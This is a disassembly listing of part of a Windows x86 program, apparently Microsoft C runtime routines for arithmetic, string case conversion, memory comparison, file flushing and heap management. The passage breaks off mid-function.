mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DE3A
; ---------------------------------------------------------------------------
loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41DE07: ; CODE XREF: sub_41DDA0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41DE07
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41DE35
cmp edx, [esp+0Ch+arg_4]
ja short loc_41DE35
jb short loc_41DE36
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41DE36
loc_41DE35: ; CODE XREF: sub_41DDA0+85j
; sub_41DDA0+8Bj
dec esi
loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj
; sub_41DDA0+93j
xor edx, edx
mov eax, esi
loc_41DE3A: ; CODE XREF: sub_41DDA0+57j
dec edi
jnz short loc_41DE44
neg edx
neg eax
sbb edx, 0
loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DDA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DE4A proc near ; CODE XREF: sub_417493+BFp
; sub_417493+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DBE84
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41DE7E
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41DEE5
loc_41DE66: ; CODE XREF: sub_41DE4A+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41DE77
cmp cl, 7Ah
jg short loc_41DE77
sub cl, 20h
mov [edx], cl
loc_41DE77: ; CODE XREF: sub_41DE4A+21j
; sub_41DE4A+26j
inc edx
cmp [edx], bl
jnz short loc_41DE66
jmp short loc_41DEE5
; ---------------------------------------------------------------------------
loc_41DE7E: ; CODE XREF: sub_41DE4A+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_4232A8
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41DED7
push edi
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41DED7
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41DED7
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C890
pop ecx
pop ecx
loc_41DED7: ; CODE XREF: sub_41DE4A+53j
; sub_41DE4A+61j ...
push [ebp+var_4]
call sub_41BA91
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj
; sub_41DE4A+32j
pop ebx
leave
retn
sub_41DE4A endp
; =============== S U B R O U T I N E =======================================
sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p
arg_0 = dword ptr 4
cmp dword_43D084, 1
jle short loc_41DEFF
push 4
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DEFF: ; CODE XREF: sub_41DEE8+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41DEE8 endp
; =============== S U B R O U T I N E =======================================
sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p
; sub_420DB0+88p ...
arg_0 = dword ptr 4
cmp dword_43D084, 1
jle short loc_41DF27
push 8
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DF27: ; CODE XREF: sub_41DF10+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DF10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41DF8C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41DF8D
test eax, 1
jz short loc_41DF6D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41DFBA
inc esi
inc edi
dec eax
jz short loc_41DF8A
loc_41DF6D: ; CODE XREF: sub_41DF40+20j
; sub_41DF40+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41DFBA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41DFBA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41DF6D
loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj
; sub_41DF40+84j
pop edi
pop esi
locret_41DF8C: ; CODE XREF: sub_41DF40+6j
retn
; ---------------------------------------------------------------------------
loc_41DF8D: ; CODE XREF: sub_41DF40+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41DFC2
repe cmpsd
jz short loc_41DFC2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
jnz short loc_41DFB5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
loc_41DFB5: ; CODE XREF: sub_41DF40+63j
; sub_41DF40+67j ...
mov eax, 0
loc_41DFBA: ; CODE XREF: sub_41DF40+26j
; sub_41DF40+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DFC2: ; CODE XREF: sub_41DF40+55j
; sub_41DF40+59j
test eax, eax
jz short loc_41DF8A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
cmp dh, ch
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41DFB5
dec eax
loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj
; sub_41DF40+96j
pop edi
pop esi
retn
sub_41DF40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p
; sub_4185D3+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE84, 0
push ebx
push esi
push edi
jnz short loc_41E019
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41E0B2
cmp eax, 5Ah
jg loc_41E0B2
add eax, 20h
jmp loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E019: ; CODE XREF: sub_41DFEC+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41E04D
cmp dword_43D084, esi
jle short loc_41E03B
push esi
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41E045
; ---------------------------------------------------------------------------
loc_41E03B: ; CODE XREF: sub_41DFEC+42j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, esi
loc_41E045: ; CODE XREF: sub_41DFEC+4Dj
test eax, eax
jnz short loc_41E04D
loc_41E049: ; CODE XREF: sub_41DFEC+ADj
mov eax, ebx
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj
; sub_41DFEC+5Bj
mov edx, off_43CE78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E071
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41E07A
; ---------------------------------------------------------------------------
loc_41E071: ; CODE XREF: sub_41DFEC+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41E07A: ; CODE XREF: sub_41DFEC+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41E049
cmp eax, esi
jnz short loc_41E0A5
movzx eax, [ebp+var_4]
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41E0B2: ; CODE XREF: sub_41DFEC+16j
; sub_41DFEC+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DFEC endp
; =============== S U B R O U T I N E =======================================
sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp
; sub_419AE0+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41E0CE
loc_41E0C4: ; CODE XREF: sub_41E0B7+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41E0C4
loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41E0B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp
; sub_418AF1+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41E1A1
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41E1CE
cmp dword_4DBE84, esi
jnz short loc_41E125
cmp edi, esi
jbe loc_41E1CE
loc_41E104: ; CODE XREF: sub_41E0D4+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41E1CE
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41E104
jmp loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E125: ; CODE XREF: sub_41E0D4+26j
mov ebx, [ebp+arg_4]
mov esi, dword_4270E8
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DBE94
call esi
test eax, eax
jnz loc_41E1CD
nop
call near ptr 269086Bh
cmp eax, 7Ah
jz short loc_41E15F
loc_41E150: ; CODE XREF: sub_41E0D4+CBj
; sub_41E0D4+F7j
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41E167: ; CODE XREF: sub_41E0D4+B3j
mov cl, [eax]
test cl, cl
jz short loc_41E189
mov edx, off_43CE78
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E17E
inc eax
loc_41E17E: ; CODE XREF: sub_41E0D4+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41E167
loc_41E189: ; CODE XREF: sub_41E0D4+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DBE94
call esi
test eax, eax
jnz short loc_41E1CE
jmp short loc_41E150
; ---------------------------------------------------------------------------
loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj
cmp dword_4DBE84, esi
jnz short loc_41E1B4
push [ebp+arg_4]
call sub_41B9C0
pop ecx
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DBE94
nop
call near ptr 2710000h
cmp eax, esi
jz short loc_41E150
loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj
dec eax
loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj
; sub_41E0D4+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41E0D4 endp
; ---------------------------------------------------------------------------
db 6Dh
dd 7746807Bh, 271B65EAh, 124FBEE6h, 0A164B780h, 0
dd 25896450h, 0
dd 5358EC83h, 65895756h, 0DEE890E8h, 33024737h, 89D48AD2h
dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 0C4E8FC75h, 0E8000058h, 2473760h, 0D38CA390h, 82E8004Dh
dd 0A3000057h, 4DBE34h, 552BE8h, 546DE800h, 0F9E80000h
dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2471D88h, 53FEE8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 65E89056h, 5002281Dh, 0FE2F80E8h, 0A04589FFh
dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h
dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p
; ___:00423721p ...
arg_0 = dword ptr 4
cmp dword_4DBE3C, 1
jnz short loc_41E2D7
call sub_423D98
loc_41E2D7: ; CODE XREF: sub_41E2C9+7j
push [esp+arg_0]
call sub_423DD1
push 0FFh
call off_43AE40
pop ecx
pop ecx
retn
sub_41E2C9 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_4DBE3C
dd 0E8057501h, 5A9Ch, 42474FFh, 5ACCE8h, 0FF685900h, 90000000h
dd 0A579A4E8h
db 77h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap
; sub_42423B+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DD140
jnb loc_41E3AC
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41E3AC
push edi
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E38B
cmp edi, 1
jz short loc_41E359
cmp edi, 2
jnz short loc_41E36F
loc_41E359: ; CODE XREF: sub_41E312+40j
push 2
call sub_4240AA
push 1
mov ebp, eax
call sub_4240AA
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41E38B
loc_41E36F: ; CODE XREF: sub_41E312+45j
push edi
call sub_4240AA
pop ecx
push eax
call near ptr 2670770h
nop
test eax, eax
jnz short loc_41E38B
nop
call near ptr 269086Bh
mov ebp, eax
jmp short loc_41E38D
; ---------------------------------------------------------------------------
loc_41E38B: ; CODE XREF: sub_41E312+3Bj
; sub_41E312+5Bj ...
xor ebp, ebp
loc_41E38D: ; CODE XREF: sub_41E312+77j
push edi
call sub_424030
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41E3A8
push ebp
call sub_420C7F
pop ecx
jmp short loc_41E3BD
; ---------------------------------------------------------------------------
loc_41E3A8: ; CODE XREF: sub_41E312+8Bj
xor eax, eax
jmp short loc_41E3C0
; ---------------------------------------------------------------------------
loc_41E3AC: ; CODE XREF: sub_41E312+Ej
; sub_41E312+2Fj
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_41E3BD: ; CODE XREF: sub_41E312+94j
or eax, 0FFFFFFFFh
loc_41E3C0: ; CODE XREF: sub_41E312+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E312 endp
; =============== S U B R O U T I N E =======================================
sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41E3EE
test al, 8
jz short loc_41E3EE
push dword ptr [esi+8]
call sub_41BA91
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj
; sub_41E3C5+Ej
pop esi
retn
sub_41E3C5 endp
; =============== S U B R O U T I N E =======================================
sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp
; sub_41E490+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41E402
push esi
call sub_41E490
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E402: ; CODE XREF: sub_41E3F0+7j
push esi
call sub_41E42B
test eax, eax
pop ecx
jz short loc_41E412
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E412: ; CODE XREF: sub_41E3F0+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41E427
push dword ptr [esi+10h]
call sub_4240E7
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E427: ; CODE XREF: sub_41E3F0+26j
xor eax, eax
pop esi
retn
sub_41E3F0 endp
; =============== S U B R O U T I N E =======================================
sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap
; ___:0041DAC2p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41E478
test ax, 108h
jz short loc_41E478
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41E478
push edi
push eax
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, edi
jnz short loc_41E471
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41E478
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41E478
; ---------------------------------------------------------------------------
loc_41E471: ; CODE XREF: sub_41E42B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41E478: ; CODE XREF: sub_41E42B+14j
; sub_41E42B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E42B endp
; =============== S U B R O U T I N E =======================================
sub_41E487 proc near ; CODE XREF: sub_4241E3p
push 1
call sub_41E490
pop ecx
retn
sub_41E487 endp
; =============== S U B R O U T I N E =======================================
sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap
; sub_41E487+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DD020, esi
jle short loc_41E4EE
loc_41E4A1: ; CODE XREF: sub_41E490+5Cj
mov eax, dword_4DC01C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E4E5
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41E4E5
cmp [esp+0Ch+arg_0], 1
jnz short loc_41E4CB
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E4E5
inc ebx
jmp short loc_41E4E5
; ---------------------------------------------------------------------------
loc_41E4CB: ; CODE XREF: sub_41E490+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41E4E5
test cl, 2
jz short loc_41E4E5
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E4E5
or edi, eax
loc_41E4E5: ; CODE XREF: sub_41E490+1Bj
; sub_41E490+23j ...
inc esi
cmp esi, dword_4DD020
jl short loc_41E4A1
loc_41E4EE: ; CODE XREF: sub_41E490+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41E4F9
mov eax, edi
loc_41E4F9: ; CODE XREF: sub_41E490+65j
pop edi
pop esi
pop ebx
retn
sub_41E490 endp
; =============== S U B R O U T I N E =======================================
sub_41E4FD proc near ; CODE XREF: ___:0041E660p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
nop
call near ptr 26A0000h
cmp word ptr [eax], 5A4Dh
jnz short loc_41E528
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41E528
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41E528: ; CODE XREF: sub_41E4FD+15j
; sub_41E4FD+1Cj
pop esi
retn
sub_41E4FD endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41C500
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
nop
call near ptr 26F0000h
test eax, eax
jz short loc_41E56D
cmp dword ptr [ebp-88h], 2
jnz short loc_41E56D
cmp dword ptr [ebp-94h], 5
jb short loc_41E56D
push 1
pop eax
jmp loc_41E66F
; ---------------------------------------------------------------------------
loc_41E56D: ; CODE XREF: ___:0041E551j
; ___:0041E55Aj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
nop
call near ptr 28A0000h
test eax, eax
jz loc_41E65C
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41E5AF
loc_41E59C: ; CODE XREF: ___:0041E5ADj
mov al, [ecx]
cmp al, 61h
jl short loc_41E5AA
cmp al, 7Ah
jg short loc_41E5AA
sub al, 20h
mov [ecx], al
loc_41E5AA: ; CODE XREF: ___:0041E5A0j
; ___:0041E5A4j
inc ecx
cmp [ecx], bl
jnz short loc_41E59C
loc_41E5AF: ; CODE XREF: ___:0041E59Aj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41C850
add esp, 0Ch
test eax, eax
jnz short loc_41E5D1
lea eax, [ebp-122Ch]
jmp short loc_41E61A
; ---------------------------------------------------------------------------
loc_41E5D1: ; CODE XREF: ___:0041E5C7j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
nop
call near ptr 2680000h
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41E605
loc_41E5F2: ; CODE XREF: ___:0041E603j
mov al, [ecx]
cmp al, 61h
jl short loc_41E600
cmp al, 7Ah
jg short loc_41E600
sub al, 20h
mov [ecx], al
loc_41E600: ; CODE XREF: ___:0041E5F6j
; ___:0041E5FAj
inc ecx
cmp [ecx], bl
jnz short loc_41E5F2
loc_41E605: ; CODE XREF: ___:0041E5F0j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_41C2E0
pop ecx
pop ecx
loc_41E61A: ; CODE XREF: ___:0041E5CFj
cmp eax, ebx
jz short loc_41E65C
push 2Ch
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41E65C
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41E641
loc_41E633: ; CODE XREF: ___:0041E63Fj
cmp byte ptr [ecx], 3Bh
jnz short loc_41E63C
mov [ecx], bl
jmp short loc_41E63D
; ---------------------------------------------------------------------------
loc_41E63C: ; CODE XREF: ___:0041E636j
inc ecx
loc_41E63D: ; CODE XREF: ___:0041E63Aj
cmp [ecx], bl
jnz short loc_41E633
loc_41E641: ; CODE XREF: ___:0041E631j
push 0Ah
push ebx
push eax
call sub_41C586
add esp, 0Ch
cmp eax, 2
jz short loc_41E66F
cmp eax, 3
jz short loc_41E66F
cmp eax, 1
jz short loc_41E66F
loc_41E65C: ; CODE XREF: ___:0041E586j
; ___:0041E61Cj ...
lea eax, [ebp-4]
push eax
call sub_41E4FD
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41E66F: ; CODE XREF: ___:0041E568j
; ___:0041E650j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dw 0C033h
dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2491978h
dd 0A3C08590h, 4DD384h, 93E83674h, 83FFFFFEh, 88A303F8h
dd 75004DD3h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh
dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 54E8004Dh
dd 90024827h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h
dd 191EE890h, 0C085023Ch, 4DD37CA3h, 0C3017500h, 4244C8Bh
dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41E717 proc near ; CODE XREF: sub_41BA91+17p
; sub_41BBE2+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DD378
lea ecx, [eax+eax*4]
mov eax, dword_4DD37C
lea ecx, [eax+ecx*4]
loc_41E727: ; CODE XREF: sub_41E717+26j
cmp eax, ecx
jnb short loc_41E73F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E741
add eax, 14h
jmp short loc_41E727
; ---------------------------------------------------------------------------
loc_41E73F: ; CODE XREF: sub_41E717+12j
xor eax, eax
locret_41E741: ; CODE XREF: sub_41E717+21j
retn
sub_41E717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E742 proc near ; CODE XREF: sub_41BA91+23p
; sub_41BBE2+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41EA66
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41E818
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E7A6
push 3Fh
pop edx
loc_41E7A6: ; CODE XREF: sub_41E742+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E7FA
cmp edx, 20h
jnb short loc_41E7D1
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E7F2
; ---------------------------------------------------------------------------
loc_41E7D1: ; CODE XREF: sub_41E742+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E7F2: ; CODE XREF: sub_41E742+86j
; sub_41E742+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41E7FD
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E742+6Aj
mov ecx, [ebp+var_4]
loc_41E7FD: ; CODE XREF: sub_41E742+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41E818: ; CODE XREF: sub_41E742+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E826
push 3Fh
pop edx
loc_41E826: ; CODE XREF: sub_41E742+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E8C9
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41E84B
mov ebx, esi
loc_41E84B: ; CODE XREF: sub_41E742+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41E85D
mov edx, esi
loc_41E85D: ; CODE XREF: sub_41E742+117j
cmp ebx, edx
jz short loc_41E8C4
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E8AC
cmp ebx, 20h
jnb short loc_41E88D
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E8AC
; ---------------------------------------------------------------------------
loc_41E88D: ; CODE XREF: sub_41E742+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
